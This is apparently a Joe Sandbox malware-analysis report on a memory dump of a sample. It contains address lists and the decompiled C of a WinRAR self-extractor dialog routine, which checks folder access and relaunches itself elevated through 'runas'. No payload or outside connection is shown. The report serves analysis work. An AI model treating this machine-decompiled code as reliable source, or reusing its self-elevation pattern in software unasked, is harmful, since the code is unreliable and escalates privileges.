0x002567f4
0x002567f7
0x0025680c
0x002567f9
0x002567fc
0x002567fc
0x00256815
0x00256817
0x0025681b
0x0025681f
0x0025681f
0x00256825
0x00256825
0x00256829
0x0025682d
0x0025682f
0x0025698a
0x00000000
0x00256835
0x00256838
0x0025683f
0x00256843
0x00256845
0x002568b1
0x002568b1
0x00000000
0x00256847
0x00256847
0x00256847
0x00256849
0x0025684c
0x0025684e
0x00256855
0x00256870
0x00256873
0x00256878
0x0025687a
0x00000000
0x00000000
0x00256857
0x0025685a
0x0025685f
0x00256861
0x00256867
0x0025686e
0x00256880
0x00256880
0x00256887
0x0025688d
0x00256894
0x002568eb
0x002568f0
0x002568f3
0x002568f5
0x002568fb
0x00256902
0x00256906
0x0025690e
0x00256914
0x00256917
0x0025691b
0x00256922
0x00256926
0x0025692d
0x0025692f
0x00256931
0x00256947
0x0025694f
0x00256958
0x0025695c
0x00256962
0x00000000
0x00256962
0x00000000
0x0025692f
0x00256896
0x00256896
0x0025689a
0x002568e0
0x002568e2
0x002568b5
0x002568b5
0x002568b7
0x002568bd
0x002568c1
0x002568c3
0x002568c9
0x00256974
0x00256976
0x00256978
0x0025696c
0x0025696c
0x0025696e
0x0025698e
0x0025698e
0x00256993
0x00000000
0x00000000
0x0025697a
0x00256983
0x00256969
0x00256969
0x00000000
0x00256969
0x00256978
0x002568cf
0x002568cf
0x00000000
0x002568cf
0x002568c9
0x00000000
0x00000000
0x00000000
0x0025689a
0x00256894
0x00000000
0x00000000
0x00000000
0x0025686e
0x00256861
0x00000000
0x0025689c
0x002568a0
0x002568a6
0x002568a7
0x002568ab
0x002568ab
0x00000000
0x00256849
0x00256845
0x00000000
0x0025682f
0x002568db
0x00000000
0x0025667d
0x00256671
0x00000000
0x00256669
0x00256999
0x002569a1
0x002569a4
0x002569a9
0x002569b7
0x002569bc
0x002569ca
0x002569e8

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: c7ece63b151fa6903c5b7bc3fdca0fbfae260d26d616fb66ec470206f3741907
Instruction ID: ca8adfcc9cb83a98dbfe6ea2a9bc9697cf73ce754be3236b209d022c947174a6
Opcode Fuzzy Hash: c7ece63b151fa6903c5b7bc3fdca0fbfae260d26d616fb66ec470206f3741907
Instruction Fuzzy Hash: 7ED1E4B1A143429FDB14CF28C88875BBBE4AF95309F48056DEC449B642D734E96CCB9E

Uniqueness

Uniqueness Score: -1.00%

Function 0025AE20 Relevance: 98.7, APIs: 47, Strings: 9, Instructions: 724
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E0025AE20(void* __ecx, void* __edx, void* __eflags, void* __fp0) {
				void* __ebx;
				void* __esi;
				long _t105;
				long _t106;
				struct HWND__* _t107;
				struct HWND__* _t111;
				void* _t114;
				void* _t115;
				int _t116;
				void* _t133;
				void* _t137;
				signed int _t149;
				void* _t166;
				int _t169;
				void* _t182;
				void* _t189;
				void* _t190;
				long _t195;
				void* _t220;
				signed int _t230;
				void* _t231;
				int _t246;
				long _t247;
				long _t248;
				long _t249;
				signed int _t256;
				WCHAR* _t257;
				int _t261;
				int _t263;
				void* _t268;
				void* _t272;
				signed short _t277;
				int _t279;
				WCHAR* _t288;
				WCHAR* _t290;
				intOrPtr _t292;
				void* _t301;
				int _t302;
				struct HWND__* _t304;
				intOrPtr _t307;
				void* _t308;
				struct HWND__* _t309;
				void* _t311;
				struct HWND__* _t313;
				long _t314;
				struct HWND__* _t315;
				void* _t316;
				void* _t317;
				void* _t319;
				void* _t320;
				void* _t322;

				_t301 = __edx;
				_t287 = __ecx;
				E0025E0E4(E00271E7E, _t320);
				E0025E1C0();
				_t277 =  *(_t320 + 0x10);
				_t307 =  *((intOrPtr*)(_t320 + 0xc));
				_t304 =  *(_t320 + 8);
				if(E0024130B(_t301, _t304, _t307, _t277,  *((intOrPtr*)(_t320 + 0x14)), L"STARTDLG", 0, 0) == 0) {
					_t308 = _t307 - 0x110;
					__eflags = _t308;
					if(__eflags == 0) {
						_push(_t304);
						E0025CBAE(_t287, _t301, __eflags, __fp0);
						_t105 =  *0x28b574;
						_t279 = 1;
						 *0x287448 = _t304;
						 *0x287438 = _t304;
						__eflags = _t105;
						if(_t105 != 0) {
							SendMessageW(_t304, 0x80, 1, _t105); // executed
						}
						_t106 =  *0x295b74;
						__eflags = _t106;
						if(_t106 != 0) {
							SendDlgItemMessageW(_t304, 0x6c, 0x172, 0, _t106); // executed
						}
						_t107 = GetDlgItem(_t304, 0x68);
						 *(_t320 - 0x14) = _t107;
						SendMessageW(_t107, 0x435, 0, 0x400000);
						E00259D58(_t320 - 0x1174, 0x800);
						_t111 = GetDlgItem(_t304, 0x66);
						__eflags =  *0x289472;
						_t309 = _t111;
						 *(_t320 - 0x18) = _t309;
						_t288 = 0x289472;
						if( *0x289472 == 0) {
							_t288 = _t320 - 0x1174;
						}
						SetWindowTextW(_t309, _t288);
						E0025A245(_t309); // executed
						_push(0x287454);
						_push(0x287450);
						_push(0x29cc88);
						_push(_t304);
						 *0x287446 = 0; // executed
						_t114 = E0025A712(_t288, _t301, __eflags); // executed
						__eflags = _t114;
						if(_t114 == 0) {
							 *0x287441 = _t279;
						}
						__eflags =  *0x287454;
						if( *0x287454 > 0) {
							_push(7);
							_push( *0x287450);
							_push(_t304);
							E0025BD35(_t301);
						}
						__eflags =  *0x29dc90;
						if( *0x29dc90 == 0) {
							SetDlgItemTextW(_t304, 0x6b, E0024DD11(_t288, 0xbf));
							SetDlgItemTextW(_t304, _t279, E0024DD11(_t288, 0xbe));
						}
						__eflags =  *0x287454;
						if( *0x287454 <= 0) {
							L103:
							__eflags =  *0x287446;
							if( *0x287446 != 0) {
								L114:
								__eflags =  *0x28946c - 2;
								if( *0x28946c == 2) {
									EnableWindow(_t309, 0);
								}
								__eflags =  *0x288468;
								if( *0x288468 != 0) {
									E002412C8(_t304, 0x67, 0);
									E002412C8(_t304, 0x66, 0);
								}
								_t115 =  *0x28946c;
								__eflags = _t115;
								if(_t115 != 0) {
									__eflags =  *0x287447;
									if( *0x287447 == 0) {
										_push(0);
										_push(_t279);
										_push(0x111);
										_push(_t304);
										__eflags = _t115 - _t279;
										if(_t115 != _t279) {
											 *0x2a10b8();
										} else {
											SendMessageW(); // executed
										}
									}
								}
								__eflags =  *0x287441;
								if( *0x287441 != 0) {
									SetDlgItemTextW(_t304, _t279, E0024DD11(_t288, 0x90));
								}
								goto L125;
							}
							__eflags =  *0x29cc7c;
							if( *0x29cc7c != 0) {
								goto L114;
							}
							__eflags =  *0x28946c;
							if( *0x28946c != 0) {
								goto L114;
							}
							__eflags = 0;
							_t311 = 0xaa;
							 *((short*)(_t320 - 0x9698)) = 0;
							do {
								__eflags = _t311 - 0xaa;
								if(_t311 != 0xaa) {
									L109:
									__eflags = _t311 - 0xab;
									if(__eflags != 0) {
										L111:
										E0024FD6E(__eflags, _t320 - 0x9698, " ", 0x2000);
										E0024FD6E(__eflags, _t320 - 0x9698, E0024DD11(_t288, _t311), 0x2000);
										goto L112;
									}
									__eflags =  *0x29dc90;
									if(__eflags != 0) {
										goto L112;
									}
									goto L111;
								}
								__eflags =  *0x29dc90;
								if( *0x29dc90 == 0) {
									goto L112;
								}
								goto L109;
								L112:
								_t311 = _t311 + 1;
								__eflags = _t311 - 0xb0;
							} while (__eflags <= 0);
							_t288 =  *0x287458; // 0x0
							E002595B5(_t288, __eflags,  *0x27fed4,  *(_t320 - 0x14), _t320 - 0x9698, 0, 0);
							_t309 =  *(_t320 - 0x18);
							goto L114;
						} else {
							_push(0);
							_push( *0x287450);
							_push(_t304); // executed
							E0025BD35(_t301); // executed
							_t133 =  *0x29cc7c;
							__eflags = _t133;
							if(_t133 != 0) {
								__eflags =  *0x28946c;
								if(__eflags == 0) {
									_t290 =  *0x287458; // 0x0
									E002595B5(_t290, __eflags,  *0x27fed4,  *(_t320 - 0x14), _t133, 0, 0);
									L0026340E( *0x29cc7c);
									_pop(_t288);
								}
							}
							__eflags =  *0x28946c - _t279;
							if( *0x28946c == _t279) {
								L102:
								_push(_t279);
								_push( *0x287450);
								_push(_t304);
								E0025BD35(_t301);
								goto L103;
							} else {
								 *0x2a10bc(_t304);
								__eflags =  *0x28946c - _t279;
								if( *0x28946c == _t279) {
									goto L102;
								}
								__eflags =  *0x289471;
								if( *0x289471 != 0) {
									goto L102;
								}
								_push(3);
								_push( *0x287450);
								_push(_t304);
								E0025BD35(_t301);
								__eflags =  *0x29dc88;
								if( *0x29dc88 == 0) {
									goto L102;
								}
								_t137 = DialogBoxParamW( *0x27fed4, L"LICENSEDLG", 0, E0025AC20, 0);
								__eflags = _t137;
								if(_t137 == 0) {
									L25:
									 *0x287447 = _t279;
									L26:
									_push(_t279);
									L13:
									EndDialog(_t304, ??); // executed
									L125:
									_t116 = _t279;
									L126:
									 *[fs:0x0] =  *((intOrPtr*)(_t320 - 0xc));
									return _t116;
								}
								goto L102;
							}
						}
					}
					__eflags = _t308 != 1;
					if(_t308 != 1) {
						L7:
						_t116 = 0;
						goto L126;
					}
					_t149 = (_t277 & 0x0000ffff) - 1;
					__eflags = _t149;
					if(_t149 == 0) {
						__eflags =  *0x287440;
						if( *0x287440 != 0) {
							L23:
							GetDlgItemTextW(_t304, 0x66, _t320 - 0x2174, 0x800);
							__eflags =  *0x287440;
							if( *0x287440 == 0) {
								__eflags =  *0x287441;
								if( *0x287441 == 0) {
									_t313 = GetDlgItem(_t304, 0x68);
									__eflags =  *0x28743c; // 0x0
									if(__eflags == 0) {
										SendMessageW(_t313, 0xb1, 0, 0xffffffff);
										SendMessageW(_t313, 0xc2, 0, 0x2725b4);
									}
									SetFocus(_t313);
									__eflags =  *0x288468;
									if( *0x288468 == 0) {
										_t314 = 0x800;
										E0024FD96(_t320 - 0x1174, _t320 - 0x2174, 0x800);
										E0025C961(_t287, _t320 - 0x1174, 0x800);
										E00243FD6(_t320 - 0x4298, 0x880, E0024DD11(_t287, 0xb9), _t320 - 0x1174);
										_t322 = _t322 + 0x10;
										_push(_t320 - 0x4298);
										_push(0);
										E0025C9E2();
									} else {
										_push(E0024DD11(_t287, 0xba));
										_push(0);
										E0025C9E2();
										_t314 = 0x800;
									}
									__eflags =  *0x289471;
									if( *0x289471 == 0) {
										E0025D06F(_t320 - 0x2174);
									}
									_push(0);
									_push(_t320 - 0x2174);
									 *(_t320 - 0xe) = 0;
									_t166 = E00249F8F(0, _t320);
									_t279 = 1;
									__eflags = _t166;
									if(_t166 != 0) {
										L40:
										_t302 = E0025A2A0(_t320 - 0x2174);
										 *(_t320 - 0xd) = _t302;
										__eflags = _t302;
										if(_t302 != 0) {
											L43:
											_t169 =  *(_t320 - 0xe);
											L44:
											_t287 =  *0x289471;
											__eflags = _t287;
											if(_t287 != 0) {
												L50:
												__eflags =  *(_t320 - 0xd);
												if( *(_t320 - 0xd) != 0) {
													 *0x28744c = _t279;
													E002412E6(_t304, 0x67, 0);
													E002412E6(_t304, 0x66, 0);
													SetDlgItemTextW(_t304, _t279, E0024DD11(_t287, 0xe6)); // executed
													E002412E6(_t304, 0x69, _t279);
													SetDlgItemTextW(_t304, 0x65, 0x2725b4); // executed
													_t315 = GetDlgItem(_t304, 0x65);
													__eflags = _t315;
													if(_t315 != 0) {
														_t195 = GetWindowLongW(_t315, 0xfffffff0) | 0x00000080;
														__eflags = _t195;
														SetWindowLongW(_t315, 0xfffffff0, _t195);
													}
													_push(5);
													_push( *0x287450);
													_push(_t304);
													E0025BD35(_t302);
													_push(2);
													_push( *0x287450);
													_push(_t304);
													E0025BD35(_t302);
													_push(0x29cc88);
													_push(_t304);
													 *0x29fcac = _t279; // executed
													E0025CF72(_t287, __eflags); // executed
													_push(6);
													_push( *0x287450);
													 *0x29fcac = 0;
													_push(_t304);
													E0025BD35(_t302);
													__eflags =  *0x287447;
													if( *0x287447 == 0) {
														__eflags =  *0x28743c;
														if( *0x28743c == 0) {
															__eflags =  *0x29dc9c;
															if( *0x29dc9c == 0) {
																_push(4);
																_push( *0x287450);
																_push(_t304); // executed
																E0025BD35(_t302); // executed
															}
														}
													}
													E002412C8(_t304, _t279, _t279);
													 *0x28744c =  *0x28744c & 0x00000000;
													__eflags =  *0x28744c;
													_t182 =  *0x287447; // 0x1
													goto L75;
												}
												__eflags = _t287;
												_t169 = (_t169 & 0xffffff00 | _t287 != 0x00000000) - 0x00000001 &  *(_t320 - 0xe);
												__eflags = _t169;
												L52:
												__eflags = _t169;
												 *(_t320 - 0xd) = _t169 == 0;
												__eflags = _t169;
												if(_t169 == 0) {
													L66:
													__eflags =  *(_t320 - 0xd);
													if( *(_t320 - 0xd) != 0) {
														_push(E0024DD11(_t287, 0x9a));
														E00243FD6(_t320 - 0x5698, 0xa00, L"\"%s\"\n%s", _t320 - 0x2174);
														E00246F5B(0x27ff50, _t279);
														E00259EB3(_t304, _t320 - 0x5698, E0024DD11(0x27ff50, 0x96), 0x30);
														 *0x28743c =  *0x28743c + 1;
													}
													L12:
													_push(0);
													goto L13;
												}
												GetModuleFileNameW(0, _t320 - 0x1174, _t314);
												_t287 = 0x28b472;
												E0024EA7A(0x28b472, _t320 - 0x174, 0x80);
												_push(0x28a472);
												E00243FD6(_t320 - 0x11cb0, 0x430c, L"-el -s2 \"-d%s\" \"-sp%s\"", _t320 - 0x2174);
												_t322 = _t322 + 0x14;
												 *(_t320 - 0x58) = 0x3c;
												 *((intOrPtr*)(_t320 - 0x54)) = 0x40;
												 *((intOrPtr*)(_t320 - 0x48)) = _t320 - 0x1174;
												 *((intOrPtr*)(_t320 - 0x44)) = _t320 - 0x11cb0;
												 *(_t320 - 0x50) = _t304;
												 *((intOrPtr*)(_t320 - 0x4c)) = L"runas";
												 *(_t320 - 0x3c) = _t279;
												 *((intOrPtr*)(_t320 - 0x38)) = 0;
												 *((intOrPtr*)(_t320 - 0x40)) = 0x287468;
												_t317 = CreateFileMappingW(0xffffffff, 0, 0x8000004, 0, 0x7104, L"winrarsfxmappingfile.tmp");
												 *(_t320 - 0x14) = _t317;
												__eflags = _t317;
												if(_t317 == 0) {
													 *(_t320 - 0x1c) =  *(_t320 - 0x14);
												} else {
													 *0x295b78 = 0;
													_t231 = GetCommandLineW();
													__eflags = _t231;
													if(_t231 != 0) {
														E0024FD96(0x295b7a, _t231, 0x2000);
													}
													E0025AA7E(_t287, 0x299b7a, 7);
													E0025AA7E(_t287, 0x29ab7a, 2);
													E0025AA7E(_t287, 0x29bb7a, 0x10);
													 *0x29cc7b = _t279;
													_t287 = 0x29cb7a;
													E0024EBED(_t279, 0x29cb7a, _t320 - 0x174);
													 *(_t320 - 0x1c) = MapViewOfFile(_t317, 2, 0, 0, 0);
													E0025F300(_t238, 0x295b78, 0x7104);
													_t322 = _t322 + 0xc;
												}
												_t220 = ShellExecuteExW(_t320 - 0x58);
												E0024EC38(_t320 - 0x174, 0x80);
												E0024EC38(_t320 - 0x11cb0, 0x430c);
												__eflags = _t220;
												if(_t220 == 0) {
													_t319 =  *(_t320 - 0x1c);
													 *(_t320 - 0xd) = _t279;
													goto L64;
												} else {
													 *0x2a10a0( *(_t320 - 0x20), 0x2710);
													_t71 = _t320 - 0x18;
													 *_t71 =  *(_t320 - 0x18) & 0x00000000;
													__eflags =  *_t71;
													_t319 =  *(_t320 - 0x1c);
													while(1) {
														__eflags =  *_t319;
														if( *_t319 != 0) {
															break;
														}
														Sleep(0x64);
														_t230 =  *(_t320 - 0x18) + 1;
														 *(_t320 - 0x18) = _t230;
														__eflags = _t230 - 0x64;
														if(_t230 < 0x64) {
															continue;
														}
														break;
													}
													 *0x29dc9c =  *(_t320 - 0x20);
													L64:
													__eflags =  *(_t320 - 0x14);
													if( *(_t320 - 0x14) != 0) {
														UnmapViewOfFile(_t319);
														CloseHandle( *(_t320 - 0x14));
													}
													goto L66;
												}
											}
											__eflags = _t302;
											if(_t302 == 0) {
												goto L52;
											}
											E00243FD6(_t320 - 0x1174, _t314, L"__tmp_rar_sfx_access_check_%u", GetTickCount());
											_t322 = _t322 + 0x10;
											E002495B6(_t320 - 0x3198);
											 *(_t320 - 4) =  *(_t320 - 4) & 0x00000000;
											_push(0x11);
											_push(_t320 - 0x1174);
											_t246 = E002496BE(_t320 - 0x3198);
											 *(_t320 - 0xd) = _t246;
											__eflags = _t246;
											if(_t246 == 0) {
												_t247 = GetLastError();
												__eflags = _t247 - 5;
												if(_t247 == 5) {
													 *(_t320 - 0xe) = _t279;
												}
											}
											_t39 = _t320 - 4;
											 *_t39 =  *(_t320 - 4) | 0xffffffff;
											__eflags =  *_t39;
											_t169 = E002495E8(_t320 - 0x3198, _t314); // executed
											_t287 =  *0x289471;
											goto L50;
										}
										_t248 = GetLastError();
										_t302 =  *(_t320 - 0xd);
										__eflags = _t248 - 5;
										if(_t248 != 5) {
											goto L43;
										}
										_t169 = _t279;
										 *(_t320 - 0xe) = _t169;
										goto L44;
									} else {
										_t249 = GetLastError();
										__eflags = _t249 - 5;
										if(_t249 == 5) {
											L39:
											 *(_t320 - 0xe) = _t279;
											goto L40;
										}
										__eflags = _t249 - 3;
										if(_t249 != 3) {
											goto L40;
										}
										goto L39;
									}
								} else {
									_t279 = 1;
									_t182 = 1;
									 *0x287447 = 1;
									L75:
									__eflags =  *0x28743c;
									if( *0x28743c <= 0) {
										goto L26;
									}
									__eflags = _t182;
									if(_t182 != 0) {
										goto L26;
									}
									 *0x287440 = _t279;
									SetDlgItemTextW(_t304, _t279, E0024DD11(_t287, 0x90));
									_t292 =  *0x27ff50; // 0x0
									__eflags = _t292 - 9;
									if(_t292 != 9) {
										__eflags = _t292 - 3;
										_t189 = ((0 | _t292 != 0x00000003) - 0x00000001 & 0x0000000a) + 0x97;
										__eflags = _t189;
										 *(_t320 - 0x14) = _t189;
										_t316 = _t189;
									} else {
										_t316 = 0xa0;
									}
									_t190 = E0024DD11(_t292, 0x96);
									E00259EB3(_t304, E0024DD11(_t292, _t316), _t190, 0x30);
									goto L125;
								}
							}
							_t279 = 1;
							__eflags =  *0x287441;
							if( *0x287441 == 0) {
								goto L26;
							}
							goto L25;
						}
						__eflags =  *0x29fcac;
						if( *0x29fcac == 0) {
							goto L23;
						} else {
							__eflags =  *0x29fcad;
							_t256 = _t149 & 0xffffff00 |  *0x29fcad == 0x00000000;
							__eflags = _t256;
							 *0x29fcad = _t256;
							_t257 = E0024DD11((0 | _t256 != 0x00000000) + 0xe6, (0 | _t256 != 0x00000000) + 0xe6);
							_t279 = 1;
							SetDlgItemTextW(_t304, 1, _t257);
							while(1) {
								__eflags =  *0x29fcad;
								if( *0x29fcad == 0) {
									goto L125;
								}
								__eflags =  *0x287447;
								if( *0x287447 != 0) {
									goto L125;
								}
								_t261 = GetMessageW(_t320 - 0x74, 0, 0, 0);
								__eflags = _t261;
								if(_t261 == 0) {
									goto L125;
								} else {
									_t263 = IsDialogMessageW(_t304, _t320 - 0x74);
									__eflags = _t263;
									if(_t263 == 0) {
										TranslateMessage(_t320 - 0x74);
										DispatchMessageW(_t320 - 0x74);
									}
									continue;
								}
							}
							goto L125;
						}
					}
					_t268 = _t149 - 1;
					__eflags = _t268;
					if(_t268 == 0) {
						_t279 = 1;
						__eflags =  *0x28744c;
						 *0x287447 = 1;
						if( *0x28744c == 0) {
							goto L12;
						}
						__eflags =  *0x28743c;
						if( *0x28743c != 0) {
							goto L125;
						}
						goto L12;
					}
					__eflags = _t268 == 0x65;
					if(_t268 == 0x65) {
						_t272 = E00241241(_t304, E0024DD11(_t287, 0x64), _t320 - 0x1174);
						__eflags = _t272;
						if(_t272 != 0) {
							SetDlgItemTextW(_t304, 0x66, _t320 - 0x1174);
						}
						goto L1;
					}
					goto L7;
				}
				L1:
				_t116 = 1;
				goto L126;
			}

0x0025ae20
0x0025ae20
0x0025ae25
0x0025ae2f
0x0025ae35
0x0025ae39
0x0025ae3d
0x0025ae56
0x0025ae60
0x0025ae60
0x0025ae66
0x0025b50b
0x0025b50c
0x0025b511
0x0025b518
0x0025b519
0x0025b51f
0x0025b525
0x0025b527
0x0025b531
0x0025b531
0x0025b537
0x0025b53c
0x0025b53e
0x0025b54b
0x0025b54b
0x0025b554
0x0025b567
0x0025b56a
0x0025b57c
0x0025b584
0x0025b58a
0x0025b592
0x0025b594
0x0025b597
0x0025b59c
0x0025b59e
0x0025b59e
0x0025b5a6
0x0025b5ad
0x0025b5b2
0x0025b5b7
0x0025b5bc
0x0025b5c1
0x0025b5c2
0x0025b5c9
0x0025b5ce
0x0025b5d0
0x0025b5d2
0x0025b5d2
0x0025b5d8
0x0025b5df
0x0025b5e1
0x0025b5e3
0x0025b5e9
0x0025b5ea
0x0025b5ea
0x0025b5ef
0x0025b5f6
0x0025b606
0x0025b619
0x0025b619
0x0025b61f
0x0025b626
0x0025b6d7
0x0025b6d7
0x0025b6de
0x0025b787
0x0025b787
0x0025b78e
0x0025b793
0x0025b793
0x0025b799
0x0025b7a0
0x0025b7a7
0x0025b7b1
0x0025b7b1
0x0025b7b6
0x0025b7bb
0x0025b7bd
0x0025b7bf
0x0025b7c6
0x0025b7c8
0x0025b7ca
0x0025b7cb
0x0025b7d0
0x0025b7d1
0x0025b7d3
0x0025b7dd
0x0025b7d5
0x0025b7d5
0x0025b7d5
0x0025b7d3
0x0025b7c6
0x0025b7e3
0x0025b7ea
0x0025b7f9
0x0025b7f9
0x00000000
0x0025b7ea
0x0025b6e4
0x0025b6eb
0x00000000
0x00000000
0x0025b6f1
0x0025b6f8
0x00000000
0x00000000
0x0025b6fe
0x0025b700
0x0025b705
0x0025b70c
0x0025b70c
0x0025b712
0x0025b71d
0x0025b71d
0x0025b723
0x0025b72e
0x0025b73f
0x0025b757
0x00000000
0x0025b757
0x0025b725
0x0025b72c
0x00000000
0x00000000
0x00000000
0x0025b72c
0x0025b714
0x0025b71b
0x00000000
0x00000000
0x00000000
0x0025b75c
0x0025b75c
0x0025b75d
0x0025b75d
0x0025b765
0x0025b77f
0x0025b784
0x00000000
0x0025b62c
0x0025b62c
0x0025b62e
0x0025b634
0x0025b635
0x0025b63a
0x0025b63f
0x0025b641
0x0025b643
0x0025b64a
0x0025b64c
0x0025b660
0x0025b66b
0x0025b670
0x0025b670
0x0025b64a
0x0025b671
0x0025b677
0x0025b6ca
0x0025b6ca
0x0025b6cb
0x0025b6d1
0x0025b6d2
0x00000000
0x0025b679
0x0025b67a
0x0025b680
0x0025b686
0x00000000
0x00000000
0x0025b688
0x0025b68f
0x00000000
0x00000000
0x0025b691
0x0025b693
0x0025b699
0x0025b69a
0x0025b69f
0x0025b6a6
0x00000000
0x00000000
0x0025b6bc
0x0025b6c2
0x0025b6c4
0x0025afab
0x0025afab
0x0025afb1
0x0025afb1
0x0025aed6
0x0025aed7
0x0025b7ff
0x0025b7ff
0x0025b801
0x0025b807
0x0025b811
0x0025b811
0x00000000
0x0025b6c4
0x0025b677
0x0025b626
0x0025ae6c
0x0025ae6f
0x0025ae83
0x0025ae83
0x00000000
0x0025ae83
0x0025ae74
0x0025ae74
0x0025ae77
0x0025aee2
0x0025aee9
0x0025af81
0x0025af90
0x0025af96
0x0025af9d
0x0025afb7
0x0025afbe
0x0025afda
0x0025afdc
0x0025afe2
0x0025afed
0x0025afff
0x0025afff
0x0025b006
0x0025b00c
0x0025b013
0x0025b02d
0x0025b041
0x0025b04e
0x0025b071
0x0025b076
0x0025b07f
0x0025b080
0x0025b081
0x0025b015
0x0025b01f
0x0025b020
0x0025b021
0x0025b026
0x0025b026
0x0025b086
0x0025b08d
0x0025b096
0x0025b096
0x0025b09b
0x0025b0a4
0x0025b0a5
0x0025b0a8
0x0025b0af
0x0025b0b0
0x0025b0b2
0x0025b0c9
0x0025b0d5
0x0025b0d7
0x0025b0da
0x0025b0dc
0x0025b0f3
0x0025b0f3
0x0025b0f6
0x0025b0f6
0x0025b0fc
0x0025b0fe
0x0025b16d
0x0025b16d
0x0025b171
0x0025b3b1
0x0025b3b7
0x0025b3c1
0x0025b3d3
0x0025b3dd
0x0025b3ea
0x0025b3f9
0x0025b3fb
0x0025b3fd
0x0025b408
0x0025b408
0x0025b411
0x0025b411
0x0025b417
0x0025b419
0x0025b41f
0x0025b420
0x0025b425
0x0025b427
0x0025b42d
0x0025b42e
0x0025b433
0x0025b438
0x0025b439
0x0025b43f
0x0025b444
0x0025b446
0x0025b44c
0x0025b453
0x0025b454
0x0025b459
0x0025b460
0x0025b462
0x0025b469
0x0025b46b
0x0025b472
0x0025b474
0x0025b476
0x0025b47c
0x0025b47d
0x0025b47d
0x0025b472
0x0025b469
0x0025b485
0x0025b48a
0x0025b48a
0x0025b491
0x00000000
0x0025b491
0x0025b177
0x0025b17e
0x0025b17e
0x0025b181
0x0025b181
0x0025b183
0x0025b187
0x0025b189
0x0025b347
0x0025b347
0x0025b34b
0x0025b35b
0x0025b374
0x0025b382
0x0025b39c
0x0025b3a1
0x0025b3a1
0x0025aed4
0x0025aed4
0x00000000
0x0025aed4
0x0025b199
0x0025b1aa
0x0025b1b0
0x0025b1b5
0x0025b1d2
0x0025b1d7
0x0025b1da
0x0025b1e7
0x0025b1ee
0x0025b1f7
0x0025b20f
0x0025b212
0x0025b219
0x0025b21c
0x0025b21f
0x0025b22c
0x0025b22e
0x0025b231
0x0025b233
0x0025b2be
0x0025b239
0x0025b239
0x0025b240
0x0025b246
0x0025b248
0x0025b255
0x0025b255
0x0025b261
0x0025b26d
0x0025b279
0x0025b284
0x0025b28b
0x0025b290
0x0025b2ae
0x0025b2b1
0x0025b2b6
0x0025b2b6
0x0025b2c5
0x0025b2d9
0x0025b2ea
0x0025b2ef
0x0025b2f1
0x0025b32b
0x0025b32e
0x00000000
0x0025b2f3
0x0025b2fb
0x0025b301
0x0025b301
0x0025b301
0x0025b305
0x0025b308
0x0025b308
0x0025b30b
0x00000000
0x00000000
0x0025b30f
0x0025b318
0x0025b319
0x0025b31c
0x0025b31f
0x00000000
0x00000000
0x00000000
0x0025b31f
0x0025b324
0x0025b331
0x0025b331
0x0025b335
0x0025b338
0x0025b341
0x0025b341
0x00000000
0x0025b335
0x0025b2f1
0x0025b100
0x0025b102
0x00000000
0x00000000
0x0025b118
0x0025b11d
0x0025b126
0x0025b12b
0x0025b135
0x0025b137
0x0025b13e
0x0025b143
0x0025b146
0x0025b148
0x0025b14a
0x0025b150
0x0025b153
0x0025b155
0x0025b155
0x0025b153
0x0025b158
0x0025b158
0x0025b158
0x0025b162
0x0025b167
0x00000000
0x0025b167
0x0025b0de
0x0025b0e4
0x0025b0e7
0x0025b0ea
0x00000000
0x00000000
0x0025b0ec
0x0025b0ee
0x00000000
0x0025b0b4
0x0025b0b4
0x0025b0ba
0x0025b0bd
0x0025b0c4
0x0025b0c6
0x00000000
0x0025b0c6
0x0025b0bf
0x0025b0c2
0x00000000
0x00000000
0x00000000
0x0025b0c2
0x0025afc0
0x0025afc2
0x0025afc3
0x0025afc5
0x0025b496
0x0025b496
0x0025b49d
0x00000000
0x00000000
0x0025b4a3
0x0025b4a5
0x00000000
0x00000000
0x0025b4b0
0x0025b4be
0x0025b4c4
0x0025b4ca
0x0025b4cd
0x0025b4d8
0x0025b4e2
0x0025b4e2
0x0025b4e7
0x0025b4ea
0x0025b4cf
0x0025b4cf
0x0025b4cf
0x0025b4f3
0x0025b501
0x00000000
0x0025b501
0x0025afbe
0x0025afa1
0x0025afa2
0x0025afa9
0x00000000
0x00000000
0x00000000
0x0025afa9
0x0025aeef
0x0025aef6
0x00000000
0x0025aefc
0x0025aefc
0x0025af03
0x0025af08
0x0025af0a
0x0025af19
0x0025af21
0x0025af24
0x0025af73
0x0025af73
0x0025af7a
0x0025af7c
0x0025af7c
0x0025af2c
0x0025af33
0x00000000
0x00000000
0x0025af42
0x0025af48
0x0025af4a
0x00000000
0x0025af50
0x0025af55
0x0025af5b
0x0025af5d
0x0025af63
0x0025af6d
0x0025af6d
0x00000000
0x0025af5d
0x0025af4a
0x00000000
0x0025af73
0x0025aef6
0x0025ae79
0x0025ae79
0x0025ae7c
0x0025aeb7
0x0025aeb8
0x0025aebf
0x0025aec5
0x00000000
0x00000000
0x0025aec7
0x0025aece
0x00000000
0x00000000
0x00000000
0x0025aece
0x0025ae7e
0x0025ae81
0x0025ae9a
0x0025ae9f
0x0025aea1
0x0025aead
0x0025aead
0x00000000
0x0025aea1
0x00000000
0x0025ae81
0x0025ae58
0x0025ae5a
0x00000000

APIs

__EH_prolog.LIBCMT ref: 0025AE25

Part of subcall function 0024130B: GetDlgItem.USER32(00000000,00003021), ref: 0024134F
Part of subcall function 0024130B: SetWindowTextW.USER32(00000000,002725B4), ref: 00241365

Strings

__tmp_rar_sfx_access_check_%u, xrefs: 0025B10B
-el -s2 "-d%s" "-sp%s", xrefs: 0025B1C1
"%s"%s, xrefs: 0025B363
ht(, xrefs: 0025B21F
@, xrefs: 0025B1E7
